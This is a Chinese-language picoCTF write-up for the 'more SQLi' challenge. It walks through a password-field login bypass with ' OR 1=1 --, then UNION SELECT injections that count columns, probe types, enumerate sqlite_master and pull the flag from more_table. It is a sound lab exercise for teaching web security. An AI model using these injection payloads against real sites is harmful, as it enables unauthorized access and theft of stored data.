## 首頁(其他picoCTF writeup)
https://hackmd.io/@sunfrancis12/ry_LLAgp3
作者: [台中教育大學 白帽社](https://hackmd.io/@ntcuhack/index) -sunfrancis12
## more SQLi
這題算是SQLi比較進階的用法
我們進到網頁,先試著隨便登入看看:

可以看到他的查詢指令如下:
```
SELECT id FROM users WHERE password = 'sd' AND username = 'sd'
```
從上述程式碼可知,這個登入介面是先從`password`開始驗證,因此我們要在`password`這一欄做SQL injection
我們在`password`輸入以下內容:
```
'OR 1=1 --
```
登入成功

## 調查系統資訊
在開始SQLi前,我們必須要知道以下資訊:
* SQL系統
* 資料欄位(Column)的數量
* 資料欄位的資料型態(TYPE)
* 資料所在TABLE的名稱
* 資料所在TABLE的欄位名稱
知道了以上資訊後,我們才能找到我們要的資料,接下來開始將這些資料一一收集
---
登入進來後,先試著隨便搜尋


發現搜尋欄只能搜尋`City`欄位的內容,而且印出來的資料總共三個欄位(Column),由於沒有報錯誤訊息,我們只能猜測網頁的SQL查詢的指令,我猜測網頁的SQL查詢指令大致會是這個樣子
```
SELECT City,Address,Phone FROM {Unknown} WHRER City='{input}'
```
我試著輸入以下指令:
```
Algiers ' UNION SELECT NULL,NULL,NULL --
```
由於前面我們推測的SQL查詢指令總共回傳3個欄位的資料,因此我們後面要`UNION`聯集的資料也必須是三個欄位
我們可以透過填入`NULL`的方式來當作一筆資料,藉此在不知道欄位(Column)的變數型態情況下來滿足查詢的語法
結果如下,可以看到他回傳了一個空的表格(顏色有點淺)

從他前面查詢的結果來看,我推斷`City`,`Address`,`Phone`都是屬於`TEXT`的變數型態,我輸入以下指令測試:
```
Algiers ' UNION SELECT 'asd','asd','asd' --
```
結果如下:

在知道每一筆資料的變數型態後,我們可以從`schema`來找出我們要的資料了。
### schema
> [The Schema Table](https://www.sqlite.org/schematab.html)
>
`schema`是一個特殊的`TABLE`,存在於各個種類的SQL系統以及該系統所有的`DATABASE`中,裡面紀錄了`DATABASE`裡所有的TABLE名稱,TABLE狀態等...類似於系統狀態的概念
在SQLi的實際應用中,我們可以利用`schema`來找出`DATABASE`中所有的`TABLE`
常見的SQL系統`schema`使用方式如下:
- Oracle `SELECT * FROM all_tables`
- Microsoft `SELECT * FROM information_schema.tables`
- PostgreSQL `SELECT * FROM information_schema.tables`
- MySQL `SELECT * FROM information_schema.tables`
由於題目有提供系統使用的是SQLite,我在網路上找到[這篇](https://stackoverflow.com/questions/6460671/sqlite-schema-information-metadata),參考後寫下了以下指令
```
Algiers ' UNION SELECT name, sql,'asd' FROM sqlite_master WHERE type='table' --
```
執行後結果如下,可以看到在`more_table`的TABLE中有個名叫`flag`的Column,資料型態為`TEXT`

---
到這裡,我們已經有我們需要的資料了,來整理一下吧
* SQL系統 = SQLite
* 欄位(Column) = 3個
* 資料型態(TYPE) = TEXT,TEXT,TEXT
* 資料所在TABLE的名稱 = more_table
* 資料所在TABLE的欄位名稱 = flag
我們可以寫出以下查詢指令
```
Algiers ' UNION SELECT flag,NULL,NULL FROM more_table--
```
flag出來囉
